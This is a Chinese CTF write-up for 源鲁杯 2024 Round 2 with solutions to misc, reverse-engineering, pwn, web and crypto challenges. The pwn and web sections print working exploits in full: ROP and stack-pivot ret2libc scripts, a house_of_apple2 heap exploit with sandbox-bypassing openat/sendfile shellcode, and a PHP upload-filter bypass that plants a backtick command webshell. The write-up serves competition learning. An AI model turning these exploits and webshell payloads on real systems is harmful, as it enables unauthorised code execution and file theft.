当前位置: 首页 > news >正文

2024源鲁杯CTF网络安全技能大赛题解-Round2

排名

欢迎关注公众号【Real返璞归真】不定时更新网络安全相关技术文章:

img

公众号回复【2024源鲁杯】获取全部Writeup(pdf版)和附件下载地址。(Round1-Round3)

image-20241019234057122

Misc

Trace

只能说题出的太恶心了,首先获得一个png,010打开发现后边存在base64串,解码得到rar压缩包。

根据提示密码六位,猜测是纯数字,用高版本ar爆破(低版本打不开)。

爆破得到密码370950,打开后获得倾斜的flag。

用在线工具调整后获得

flag:YLCTF{ccfe9e2c-391f-4055-a128-c06b65426c83}

滴答滴

纯脑洞题,010打开发现只有00 ff,猜测是01串,转成01串后,根据43行猜测每行的十六个二进制对应flag一位。

发现只有四种组合,00 ff ff 00、00 ff 00 ff、ff 00 00 ff、ff 00 ff 00,猜测是四进制。

file = open('flag','rb').read()
flag = ''
cnt = 0
s = ''
for i in file:cnt += 1if i == 255:s += '1'elif i == 0:s += '0'if cnt == 4:cnt= 0if s == '0110' :flag += '1'elif s == '0101':flag += '0'elif s == '1001':flag += '2'elif s == '1010':flag += '3's = ''
print(flag)
for i in range(0,len(flag),4):print(chr(int(flag[i:i+4],4)),end='')
#YLCTF{7d160084-4dd5-4eec-bf1f-12f3ad8c8a6b}

deepsound打开wav分离得到一个压缩包,猜测是全数字,爆破得到密码10117:

20241019listen1

打开获得一个图片,stegsolve打开,再red:1、0,green:3,2和blue:4,1发现上方有信息,lsb提取数据获得flag。

20241019listen2

Reverse

三点几啦饮茶先

魔改tea,修改循环次数和deltea即可。

import ctypeskey = [0x1001, 0x2002, 0x3003, 0x4004]
def tea_decrypt():input1 = ctypes.c_uint32(0x72093D7C)input2 = ctypes.c_uint32(0xB60BF47D)sum = ctypes.c_uint32(0x114514B9 * 40)for _ in range(40):input2.value -= (((input1.value >> 5) ^ (16 * input1.value)) + input1.value) ^ (key[(sum.value >> 11) & 3] + sum.value)sum.value -= 0x114514B9input1.value -= (((input2.value >> 3) ^ (4 * input2.value)) + input2.value) ^ (key[sum.value & 3] + sum.value)print(input1.value, input2.value)tea_decrypt()

远程输入input1和input2,获得flag:YLCTF{74a7c35b-ed9e-493f-b887-866c87623c7b}。

ezapk

最想吐槽的一个题目,本来几分钟做完拿一血,结果被出题人误导卡了1小时。

题目描述:

apkcheck不了flag,只能checkkey,不影响解题,即:YLCTF+KEY 到输入框中即可检测key是否正确,不用跟着+

出题人描述“即可检测key是否正确”。

已经解出key后将YLCTF+KEY输入检查一直提示错误,又hook半天加密后的结果手动比较分析,摸不着头脑。

最后想想,如果解出来key,flag在哪呢?程序也没有多余的函数代码了:

image-20241019221338571

大胆猜测比较的这个密文就是flag加密的结果,用已经解出来的key和iv尝试解密后发现真是flag(吐血)。

开始正文,解题思路很清晰:

  1. 一堆等式,直接z3解密:

    from z3 import *s = Solver()key = [BitVec(f'key_{i}', 32) for i in range(16)]s.add((((((((((((((((key[0] * 41) - (key[1] * 16)) + (key[2] * 84)) + (key[3] * 35)) - (key[4] * 74)) + (key[5] * 33)) + (key[6] * 58)) + (key[7] * 70)) - (key[8] * 83)) - (key[9] * 48)) + (key[10] * 68)) + (key[11] * 82)) + (key[12] * 90)) - (key[13] * 37)) - (key[14] * 60)) + (key[15] * 23) == 22064)
    s.add((((((((((((((((-key[0]) * 63) - (key[1] * 76)) - (key[2] * 79)) - (key[3] * 34)) + (key[4] * 64)) - (key[5] * 93)) - (key[6] * 16)) - (key[7] * 69)) - (key[8] * 34)) + (key[9] * 19)) + (key[10] * 17)) + (key[11] * 66)) + (key[12] * 93)) - (key[13] * 57)) + (key[14] * 77) + (key[15] * 45) == -9131)
    s.add(((((((((((((((((-key[0]) * 28) + (key[1] * 79)) - (key[2] * 43)) + (key[3] * 19)) + (key[4] * 58)) + (key[5] * 82)) - (key[6] * 20)) + (key[7] * 15)) - (key[8] * 15)) - (key[9] * 65)) + (key[10] * 92)) + (key[11] * 71)) + (key[12] * 34)) + (key[13] * 71)) - (key[14] * 26)) + (key[15] * 37) == 30351)
    s.add((((((((((((((((key[0] * 60) + (key[1] * 38)) - (key[2] * 24)) + (key[3] * 24)) + (key[4] * 36)) + (key[5] * 50)) - (key[6] * 56)) - (key[7] * 25)) - (key[8] * 88)) - (key[9] * 14)) - (key[10] * 77)) + (key[11] * 77)) + (key[12] * 80)) - (key[13] * 41)) - (key[14] * 42)) + (key[15] * 90) == 9755)
    s.add((((((((((((((((key[0] * 13) - (key[1] * 21)) - (key[2] * 96)) + (key[3] * 82)) + (key[4] * 63)) + (key[5] * 87)) - (key[6] * 71)) - (key[7] * 77)) + (key[8] * 34)) + (key[9] * 95)) - (key[10] * 21)) + (key[11] * 51)) + (key[12] * 54)) + (key[13] * 81)) - (key[14] * 70)) + (key[15] * 86) == 25623)
    s.add((((((((((((((((key[0] * 18) + (key[1] * 70)) - (key[2] * 82)) + (key[3] * 69)) + (key[4] * 77)) + (key[5] * 44)) + (key[6] * 41)) - (key[7] * 43)) - (key[8] * 76)) + (key[9] * 67)) + (key[10] * 36)) + (key[11] * 32)) - (key[12] * 19)) - (key[13] * 41)) - (key[14] * 69)) + (key[15] * 39) == 18410)
    s.add((((((((((((((((key[0] * 59) - (key[1] * 83)) - (key[2] * 34)) - (key[3] * 55)) - (key[4] * 42)) - (key[5] * 86)) + (key[6] * 93)) + (key[7] * 97)) - (key[8] * 88)) - (key[9] * 90)) - (key[10] * 63)) - (key[11] * 76)) - (key[12] * 84)) - (key[13] * 84)) + (key[14] * 96)) - (key[15] * 76) == -39929)
    s.add((((((((((((((-key[0]) * 72) + (key[1] * 81)) - (key[2] * 10)) - (key[3] * 58)) - (key[4] * 55)) - (key[5] * 94)) - (key[6] * 48)) + (key[7] * 79)) - (key[8] * 81)) - (key[9] * 83)) - (key[10] * 32)) - (key[11] * 77)) + (key[12] * 17) + (key[13] * 78) + (key[14] * 97) + (key[15] * 97) == -11909)
    s.add((((((((((((((((key[0] * 81) + (key[1] * 45)) - (key[2] * 37)) + (key[3] * 69)) + (key[4] * 48)) - (key[5] * 22)) - (key[6] * 61)) - (key[7] * 44)) - (key[8] * 26)) - (key[9] * 30)) + (key[10] * 21)) + (key[11] * 41)) + (key[12] * 33)) - (key[13] * 49)) - (key[14] * 98)) + (key[15] * 94) == 11780)
    s.add((((((((((((((((key[0] * 72) - (key[1] * 94)) + (key[2] * 77)) - (key[3] * 70)) + (key[4] * 10)) - (key[5] * 33)) + (key[6] * 58)) - (key[7] * 48)) + (key[8] * 65)) + (key[9] * 21)) + (key[10] * 33)) - (key[11] * 35)) - (key[12] * 90)) + (key[13] * 69)) - (key[14] * 10)) - (key[15] * 20) == -6077)
    s.add(((((((((((((key[0] * 11) + (key[1] * 28)) + (key[2] * 13)) + (key[3] * 92)) + (key[4] * 24)) - (key[5] * 35)) + (key[6] * 80)) + (key[7] * 51)) + (key[8] * 41)) + (key[9] * 42)) - (key[10] * 19)) - (key[11] * 78)) + (key[12] * 32) + (key[13] * 33) + (key[14] * 27) + (key[15] * 40) == 22889)
    s.add((((((((((((((((key[0] * 62) + (key[1] * 33)) + (key[2] * 67)) + (key[3] * 13)) + (key[4] * 24)) - (key[5] * 96)) + (key[6] * 46)) - (key[7] * 94)) - (key[8] * 91)) + (key[9] * 25)) - (key[10] * 37)) + (key[11] * 17)) + (key[12] * 39)) + (key[13] * 80)) - (key[14] * 94)) - (key[15] * 22) == -8594)
    s.add(((((((((((((key[0] * 57) - (key[1] * 83)) - (key[2] * 82)) + (key[3] * 78)) - (key[4] * 37)) - (key[5] * 76)) + (key[6] * 84)) + (key[7] * 63)) + (key[8] * 33)) + (key[9] * 50)) - (key[10] * 96)) - (key[11] * 12)) + (key[12] * 96) + (key[13] * 19) + (key[14] * 62) + (key[15] * 51) == 7626)
    s.add(((((((((((((((((-key[0]) * 67) - (key[1] * 85)) + (key[2] * 13)) + (key[3] * 11)) - (key[4] * 53)) + (key[5] * 40)) + (key[6] * 52)) - (key[7] * 43)) - (key[8] * 63)) + (key[9] * 61)) - (key[10] * 18)) + (key[11] * 14)) - (key[12] * 92)) + (key[13] * 77)) - (key[14] * 91)) + (key[15] * 42) == -7984)
    s.add((((((((((((((((key[0] * 53) + (key[1] * 69)) - (key[2] * 57)) + (key[3] * 40)) + (key[4] * 48)) - (key[5] * 50)) - (key[6] * 40)) - (key[7] * 90)) + (key[8] * 69)) + (key[9] * 84)) + (key[10] * 65)) - (key[11] * 56)) + (key[12] * 90)) + (key[13] * 56)) - (key[14] * 50)) + (key[15] * 97) == 23771)
    s.add((((((((((((((((key[0] * 85) + (key[1] * 86)) + (key[2] * 19)) - (key[3] * 47)) + (key[4] * 16)) - (key[5] * 17)) - (key[6] * 77)) + (key[7] * 54)) + (key[8] * 59)) - (key[9] * 19)) - (key[10] * 53)) + (key[11] * 52)) - (key[12] * 64)) + (key[13] * 95)) - (key[14] * 66)) - (key[15] * 61) == -6025)key_solution = []
    if s.check() == sat:model = s.model()key_solution = [model.eval(k).as_long() for k in key]print("找到的key:", key_solution)
    else:print("没有找到解决方案")for x in key_solution:print(chr(x), end='')
    print()key_solution = []
    if s.check() == sat:model = s.model()key_solution = [model.eval(k).as_long() for k in key]print("找到的key:", key_solution)
    else:print("没有找到解决方案")for x in key_solution:print(chr(x), end='')
    print()# 找到的key: [48, 55, 51, 99, 56, 99, 48, 55, 45, 52, 102, 53, 55, 45, 52, 98]
    
  2. 拿到key后,发现加密时的iv是JNI调用,Myjni.encode(Myjni.getkey()).getBytes()。直接Frida Hook即可:

    Java.perform(function () {let Myjni = Java.use("com.example.myapplication.Myjni");Myjni["encode"].implementation = function (str) {console.log(`Myjni.encode is called: str=${str}`);let result = this["encode"](str);console.log(`Myjni.encode result=${result}`);return result;};
    })
    
  3. 有了key、iv,对密文解密即可。装环境、写代码太麻烦,直接Frida主动调用:

    Java.perform(function () {let Sm4Util = Java.use("com.example.myapplication.Sm4Util");Sm4Util["encrypt"].implementation = function (algorithmName, key, iv, data) {console.log(`Sm4Util.encrypt is called: algorithmName=${algorithmName}, key=${key}, iv=${iv}, data=${data}`);let result = this["encrypt"](algorithmName, key, iv, data);console.log(`Sm4Util.encrypt result=${result}`);// baselet Base64Util = Java.use("android.util.Base64");let targetBase64 = "3egreyyixRkVtvuCbyuWRmWpmZa562dweKpSajvGUnxrSBx2gFxz2AjnL4eUdcUO";let targetDecoded = Base64Util.decode(targetBase64, 2);console.log(`decode1=${targetDecoded}`);// sm4let decryptedData = Sm4Util.decrypt(algorithmName, key, iv, targetDecoded);console.log(`decode2=${decryptedData}`);return result;};
    })
    

输入正确的YLCTF+key触发sm4加密后,我们的主动调用会直接执行并解密flag。

Pwn

ezstack2

签到题,栈溢出,存在后门函数,通过pop rdi修改参数后获得shell。

pop_rdi = 0x400823
backdoor = 0x400758
payload = b'a' * 0x38 + p64(pop_rdi) + p64(0x114514) + p64(backdoor)
p.send(payload)

shortshell

只能读入5个字节,且存在后门,因此考虑直接读入jmp,使其跳转到后门函数。

shellcode = asm('''jmp $-11769;             //bss和backdoor的差值
''')print(len(shellcode))
p.send(shellcode)

magic_read

栈迁移模板题,完整exp如下所示:

from pwn import *
from ctypes import *
from LibcSearcher import *context(os='linux', arch='amd64', log_level='debug')def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r(a):return p.recv(a)
def ru(a):return p.recvuntil(a)
def debug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libcbase):return libcbase + libc.sym['system'], libcbase + next(libc.search(b'/bin/sh\x00'))p = remote('challenge.yuanloo.com',21976)
#p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
bss = 0x601040 + 0x200pop_rdi = 0x400723
pop_rbp = 0x400578
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read = 0x400675
leave_ret = 0x400691
payload=b'A'*0x40+p64(bss+0x40)+p64(read)
s(payload)sleep(0.5)
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x40063A)
payload=payload.ljust(0x40,b'\x00')+p64(bss-8)+p64(leave_ret)
s(payload)
libc_base = get_addr() -libc.sym['puts']
success("libc_base;"+hex(libc_base))
one_gadget = libc_base + 0x4527apayload = b'a' * 0x48 + p64(one_gadget)
s(payload)p.interactive()

canary

开启了canary保护,拖入IDA分析,程序很简单:

image-20241019212033111

输入非1可以写rbp和返回地址,输入1可以进gift函数:

image-20241019212112576

如果没开启canary保护思路很简单,直接将rbp改为bss段地址然后调用read函数写bss并栈迁移执行写入的shell。

但是这题如果这样做,由于已修改了rbp,会导致执行完read后读取错误的canary进而检查失败。

我们可以想办法先把栈迁移到bss段上,由于bss段地址已知,所以可以改返回地址为shell。

步骤如下:

  1. rbp -> bss + 0x500

    第一次通过漏洞写入bss + 0x500并返回到main函数执行(这里不要再执行push rbp, mov rbp, rsp):

    image-20241019212711334
  2. 第二次通过漏洞写入bss + 0x500并返回到read函数执行。此时,经过两次main函数的leave指令,rsp已经被迁移到bss段。

    直接来到这里的read,它会在rbp-0x40的位置写入数据:

    image-20241019212910340
  3. 此时,我们通过gdb调试确定返回地址和read写入位置的距离,然后调整第二次漏洞写入的fake_rbp。就可以成功控制read后续的函数返回地址。即将rbp改为bss + 0x500 + 0x48,此时read会直接在函数返回地址处写入数据。

    我们可以直接写入rop来泄露libc地址:

    payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret) + p64(0x401296)
    p.send(payload)
    
  4. 然后再次返回到main写入ret2libc的payload,此时会发现程序在scanf崩了,调试后发现scanf中有一个vsprintf函数会用到rbp - 0x600左右的地址,这个地址不属于bss,不可写导致段错误。因此,需要将前文所有提到的的0x500改大,一个页面的大小是0x1000,只要大小在页面地址范围内即可,经过测试0x900没问题。

  5. 最后,和之前做法一样,修改rbp后在返回地址处写ret2libc的payload。但是注意由于rsp一直在变化,这里的rbp不再和之前一样,需要动态调试确定具体位置。可以先写rbp+0x900,然后动态调试拿到ret的地址:

    payload = p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\x00'))) + p64(libc.sym['system'])
    p.send(payload)
    
文字描述可能不太清晰,由于rsp和rbp变动以及程序一直在跳,这个题目需要反复动态调试确定位置。总体思路就是通过两次leave将栈迁移到bss上(区别于以往的栈迁移),已知bss地址,可以修改返回地址为ROP。完整exp如下所示:```python
from pwn import *elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'bss = elf.bss()
main = elf.sym['main']
pop_rdi = 0x00000000004013e3
pop_rsi_r15 = 0x00000000004013e1
ret = 0x000000000040101a
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']# step 1
# rbp -> bss + 0x500
p.sendlineafter(b'functions?\n', b'2')
p.send(p64(bss + 0x900) + p64(0x401296))# step 2
# leak libc
# rbp -> bss + 0x500 + 0x48
# rsp -> bss + 0x510
# ret_addr = [bss + 0x508]
# read(0, [rbp-0x40], 0x200)
p.sendlineafter(b'functions?\n', b'2')
p.send(p64(bss + 0x900 + 0x48) + p64(0x401258))payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret) + p64(0x401296)
p.send(payload)libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x84420
libc.address = libc_base
success("libc_base = " + hex(libc_base))# step3
# ret2libc
gdb.attach(p, 'b *0x40126E\nc')
pause()p.sendlineafter(b'functions?\n', b'2')
p.send(p64(0x4049b0 + 0x40) + p64(0x401258))payload = p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\x00'))) + p64(libc.sym['system'])
p.send(payload)p.interactive()

futureheap

题目看着很复杂,其实就是一堆公式堆砌起来的:rand + Heap IO + encryp函数逆向 + orw绕过。

不过直接套IO模板肯定是打不通的,因为这题没有show函数无法泄露heap地址,需要借助mmap申请的空间执行IO流。

拖入IDA看一下main函数:

image-20241019213931135

build函数可以申请最多6个0x500-0x700大小的chunk(无tcache,只能用largebin_attack,猜测是打IO)。

edit函数和edit2fortune函数分别可以修改chunk和fortune,但是总共只能改3次。drop函数存在uaf漏洞。

还有一个细节,题目处于while循环之中,退出的唯一办法是exit(0),所以更加印证了目标应该是打IO。

这些函数都比较常规,这里只分析一下init函数和edit2fortune函数。

init函数:

image-20241019214309766

存在栈溢出漏洞可以覆盖随机数种子,由于已知rand()随机数,可以得到setv_buf和fortune地址。

setv_buf即泄露了libc地址,fortune是mmap申请的一个可读可写可执行的空间。

显然,fortune是最终归宿,需要写入shell并控制函数执行流到这里来执行。

edit2fortune函数:

image-20241019214439316

输入字符串加密后和bMeNgmvPv)oNzp==比较,如果通过检查可以向fortune写入0x500的数据。

对encrypt函数类型简单修复一下:

image-20241019214746434

显然是变表base加密,找到table:

image-20241019214816504

直接解密:

image-20241019214902417

程序全部分析完毕,大概的利用思路:

  1. 借助UAF利用largebin_attack漏洞修改_IO_list_all -> heap。

  2. 借助UAF在heap伪造IO_FILE结构体。

  3. 关键点到了,该使用哪一条利用链。由于没什么限制,我这里使用了比较简单的house_of_apple2。

    调用链如下所示(house_of_apple详解可以在看雪论坛找到,图片来自jelasin师傅):

    _IO_wfile_overflow_IO_wdoallocbuf_IO_WDOALLOCATE*(fp->_wide_data->_wide_vtable + 0x68)(fp)
    
    image-20241019220236234
  4. 直接利用apple的模板会存在一个问题,我们不知道heap地址,无法伪造IO_wide_data_addr和wide_vtable_addr。

    好在题目mmap了一个fortune,我们将模板拷贝一份到fortune中,在fortune中完成后续检查和程序执行流。

  5. 此时,触发exit即可控制程序执行流程。

最后,说一下这个后门函数如何找,由于程序开启沙箱禁用open、write。

image-20241019220651255

可以用openat、writev替代,当然也可以直接openat和sendfile将打开的文件发送给stdout。

将这段orw的shellcode直接拼接到fortune后面即可,然后修改IO的后门函数地址为fortune中的shellcode。

完整exp如下所示:

from pwn import *
import ctypeself = ELF("./pwn")
libc = ELF("./libc.so.6")
cdll = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'def add_chunk(index, size):p.sendline(b"1")sleep(1)p.sendline(str(index).encode())sleep(1)p.sendline(str(size).encode())def edit_chunk(index, content):p.sendline(b"2")sleep(1)p.sendline(str(index).encode())sleep(1)p.send(content)def delete_chunk(index):p.sendline(b"3")sleep(1)p.sendline(str(index).encode())# gdb.attach(p, 'b *$rebase(0x1A41)\nc')
# pause()# step1 leak libc and fortune
cdll.srand(0xdeadbeef)
p.sendlineafter(b'my dear: \n', b'nopy_ctf' + p32(0xdeadbeef))p.recvuntil(b'Wolf is ')
wolf_recv = int(p.recvuntil(b'.\n', drop=True))
p.recvuntil(b'Sword is ')
sword_recv = int(p.recvuntil(b'.\n', drop=True))
p.recvuntil(b'Lion is ')
lion = int(p.recvuntil(b'.\n', drop=True))
p.recvuntil(b'Snake is ')
snake = int(p.recvuntil(b'.\n', drop=True))wolf = cdll.rand()
sword = cdll.rand()
assert wolf_recv == wolf
assert sword_recv == swordsuccess('wolf = ' + str(wolf))
success('sword = ' + str(sword))
success('lion = ' + str(lion))
success('snake = ' + str(snake))setvbuf_addr = lion ^ wolf ^ cdll.rand()
libc_base = setvbuf_addr - libc.sym['setvbuf']
libc.address = libc_base
fortune = sword ^ snake ^ cdll.rand()
success('fortune = ' + hex(fortune))
success('libc_base = ' + hex(libc.address))# step2 _IO_list_all -> heap2
add_chunk(0, 0x518)
add_chunk(1, 0x598)
add_chunk(2, 0x528)
add_chunk(3, 0x598)delete_chunk(2)
delete_chunk(0)add_chunk(4, 0x518)edit_chunk(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
delete_chunk(0)
add_chunk(5, 0x508)# step3 fake_IO
file_addr = fortune - 0x10
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 8 + 8) - 0x68fake_file = b""
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(1)  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(0)  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(IO_wide_data_addr)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_wfile_jumps'])  # fake vtable
fake_file += p64(wide_vtable_addr)
# fake_file += p64(libc.sym['system'])
fake_file += p64(fortune + 0x100)edit_chunk(2, fake_file)# gdb.attach(p, "b _IO_wdoallocbuf\nc")
# pause()p.sendline(b'4')
sleep(1)
p.sendline(b'74r0t#C@rd')
sleep(1)shellcode = asm('''mov rax, 0x67616c662f2e ;// ./flagpush raxmov rdi, -100mov rsi, rspmov rdx, 0mov rax, 257 ;// SYS_openatsyscallmov rdi, 1mov rsi, raxmov rdx, 0mov r10, 0x100mov rax, 40syscall
''')p.send(fake_file.ljust(0x100, b'\x00') + shellcode)# edit_chunk(1, b'a' * 0x10 + p32(0xfbad1880) + b';sh;')sleep(1)
p.sendline(b'4')p.interactive()

Web

Cmnts

源代码查看发现base64串,解码得到php路径,分析发现只要不传入pass即可,构造如下:

get_th1s_f1ag.php?key=a7a795a8efb7c30151031c2cb700ddd9

获得flag:YLCTF{88725589-d3f9-4a70-9e19-9a757b4700ea}。

PHUPE

先对文件后缀名检查,然后进行move_uploaded_file操作。

原题(来源于梅子酒师傅):https://www.anquanke.com/post/id/103784

文件上传,白盒审计:

<?php
class FileModel {private $uploadDir = 'uploads/';public function getFileContent() {if (isset($_GET['file'])) {$file = $this->uploadDir . basename($_GET['file']);if (file_exists($file)) {return file_get_contents($file);}}return '';}public function uploadFile($file) {$name = isset($_GET['name'])? $_GET['name'] : basename($file['name']);$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {return false;}$data = file_get_contents($file['tmp_name']);if(preg_match('/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i',$data)){echo "<script>alert('恶意内容!')</script>";return false;}$target_file = $this->uploadDir .$name;if (move_uploaded_file($file['tmp_name'], $target_file)) {echo "<script>alert('文件上传成功!')</script>";return true;}return false;}
}

漏洞存在于move_uploaded_file:

$target_file = $this->uploadDir .$name;
move_uploaded_file($file['tmp_name'], $target_file)

如果我们构造:

# ?name=123.php/.

此时,$fileExtension得到空后缀,可以绕过后缀名检测上传PHP文件。

执行拼接命令后$target_file为:/uploads/123.php/.

执行move_uploaded_file函数后,会将文件移动到/uploads/123.php。

然后php标签绕过、反引号命令执行、命令执行绕过(同Round1的shxpl):

<?= $cmd=`/bin/[l]s` /?>
<?= $cmd=`/bin/[c]at /fla?` ?>

Crypto

ancat

图像像素点交换。直接改造一下加密脚本,存储所有交换的记录:

tmp = ''
for time in range(shuffle_times):for ori_x in range(h):for ori_y in range(w):new_x = (1*ori_x + b*ori_y)% Nnew_y = (a*ori_x + (a*b+1)*ori_y) % Ntmp += str(ori_x) + ' ' + str(ori_y) + ' ' + str(new_x) + ' ' + str(new_y) + '\n'arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :]tmp += '==========\n'image = np.copy(arnold_image)
with open("output.txt", "w", encoding="utf-8") as file:file.write(tmp)

然后仿照加密脚本编写解密脚本,逆着交换一次即可:

import cv2
import numpy as np_ = open('output.txt').readlines()
table1 = _[0:344569]
table2 = _[344579+1:344569*2+1]
table3 = _[344569*2+2:344569*3+2]
table1 = reversed(table1)
table2 = reversed(table2)
table3 = reversed(table3)image = cv2.imread('en_flag.png')
arnold_image = np.zeros(shape=image.shape)h, w = image.shape[0], image.shape[1]
N = hfor x in table3:x = x.replace('\n', '')cood = x.split(' ')x_raw, y_raw = int(cood[0]), int(cood[1])x_enc, y_enc = int(cood[2]), int(cood[3])arnold_image[x_raw, y_raw, :] = image[x_enc, y_enc, :]
image = np.copy(arnold_image)for x in table2:print('2')x = x.replace('\n', '')cood = x.split(' ')x_raw, y_raw = int(cood[0]), int(cood[1])x_enc, y_enc = int(cood[2]), int(cood[3])arnold_image[x_raw, y_raw, :] = image[x_enc, y_enc, :]
image = np.copy(arnold_image)for x in table1:print('1')x = x.replace('\n', '')cood = x.split(' ')x_raw, y_raw = int(cood[0]), int(cood[1])x_enc, y_enc = int(cood[2]), int(cood[3])arnold_image[x_raw, y_raw, :] = image[x_enc, y_enc, :]
image = np.copy(arnold_image)cv2.imwrite('flag.png', arnold_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])

得到下图:

image-20241019225746281

ezAES

填充key和iv后逆回去即可:

from Crypto.Cipher import AES
from Crypto.Util.Padding import *
import base64# 给定的密钥和 IV
key = b"YLCTF-CRYPTO\x00\x00\x00\x00"  # 密钥,确保长度为 16、24 或 32 字节
iv = b"YLCTF-IV" + b'\x00' * 8      # 初始化向量,必须是 16 字节
print(key,iv)# 给定的密文
ciphertext = b"\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]\"\xfc6\xf8\x8cS\xe9b\x19"# 创建 AES 解密器
aes = AES.new(key, 2, iv)# 解密并去除填充
padded_data = aes.decrypt(ciphertext)
decrypted_data = unpad(padded_data, AES.block_size)  # 去除填充
print("解密后的数据:", decrypted_data.decode())

获得keysauikoydasuicxs,输入得到flag:YLCTF{9cb0eb63-5a35-4d5a-8ac1-2449aa768f19}。

rand

根据源码等式成立分析,由费马小定理推导得知,只要找出x + y = p,g = x * y % p,且x,y,g均符合条件即可,发现x = 2,y = p - 2符合条件,因此脚本循环四十次接收后发送。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')io = remote("challenge.yuanloo.com",32007)while True:x = 2y = 0g = 0io.recvuntil('The modulus p is: ')p = int(io.recvuntil('\n')[:-1])y = p - xg = (x * y) % pio.sendline(str(g))payload = str(x) + ',' + str(y)io.sendlineafter("as x and y:\n",payload)

相关文章:

2024源鲁杯CTF网络安全技能大赛题解-Round2

排名 欢迎关注公众号【Real返璞归真】不定时更新网络安全相关技术文章&#xff1a; 公众号回复【2024源鲁杯】获取全部Writeup&#xff08;pdf版&#xff09;和附件下载地址。&#xff08;Round1-Round3&#xff09; Misc Trace 只能说题出的太恶心了&#xff0c;首先获得一…...

10.24学习

1.const 在编程中&#xff0c; const 关键字通常用来定义一个常量。常量是程序运行期间其值不能被改变的变量。使用 const 可以提高代码的可读性和可靠性&#xff0c;因为它可以防止程序中意外修改这些值。 不同编程语言中 const 的用法可能略有不同&#xff0c;以下是一…...

社交媒体与客户服务:新时代的沟通桥梁

在数字化时代&#xff0c;社交媒体已成为人们日常生活中不可或缺的一部分&#xff0c;它不仅改变了人们的沟通方式&#xff0c;也深刻影响着企业的客户服务模式。从传统的电话、邮件到如今的社交媒体平台&#xff0c;客户服务的渠道正在经历一场前所未有的变革。社交媒体以其即…...

设置虚拟机与windows间的共享文件夹

在 VMware Workstation 或 VMware Fusion 中设置共享文件夹的具体步骤如下&#xff1a; 1. 启用共享文件夹 对于 VMware Workstation 打开 VMware Workstation&#xff1a; 启动 VMware Workstation&#xff0c;找到你要设置共享文件夹的虚拟机。 设置虚拟机&#xff1a; 选…...

微信小程序性能优化 ==== 合理使用 setData 纯数据字段

目录 1. setData 的流程 2. 数据通信 3. 使用建议 3.1 data 应只包括渲染相关的数据 3.2 控制 setData 的频率 3.3 选择合适的 setData 范围 3.4 setData 应只传发生变化的数据 3.5 控制后台态页面的 setData 纯数据字段 组件数据中的纯数据字段 组件属性中的纯数据…...

【加密系统】华企盾DSC服务台提示:请升级服务器,否则可能导致客户端退回到旧服务器的版本

华企盾DSC服务台提示&#xff1a;请升级服务器&#xff0c;否则可能导致客户端退回到旧服务器的版本 产生的原因&#xff1a;控制台版本比服务器高导致控制台出现报错 解决方案 方法&#xff1a;将控制台回退到原来的使用版本&#xff0c;在控制台负载均衡查看连接该服务器各个…...

直连南非,服务全球,司库直联再进一步

yonyou 在全球化经济背景下&#xff0c;中国企业不断加快“走出去”的步伐&#xff0c;寻求更广阔的发展空间。作为非洲大陆经济最发达的国家之一&#xff0c;南非以其丰富的自然资源、完善的金融体系和多元化的市场&#xff0c;成为中国企业海外投资与合作的热门目的地。 作为…...

【spring】从spring是如何避免并发下获取不完整的bean引发的思考 什么是双重检查锁 什么是java内存模型

本文将通过简述spring是如何避免并发下获取不完整的bean&#xff0c;延伸出双重检查锁、volatile、JMM的概念&#xff0c;将这些知识点都串联起来&#xff1b; 若发现错误&#xff0c;非常欢迎在评论区指出&#xff1b;csdn博主&#xff1a;孟秋与你 文章目录 双重检查锁(Doubl…...

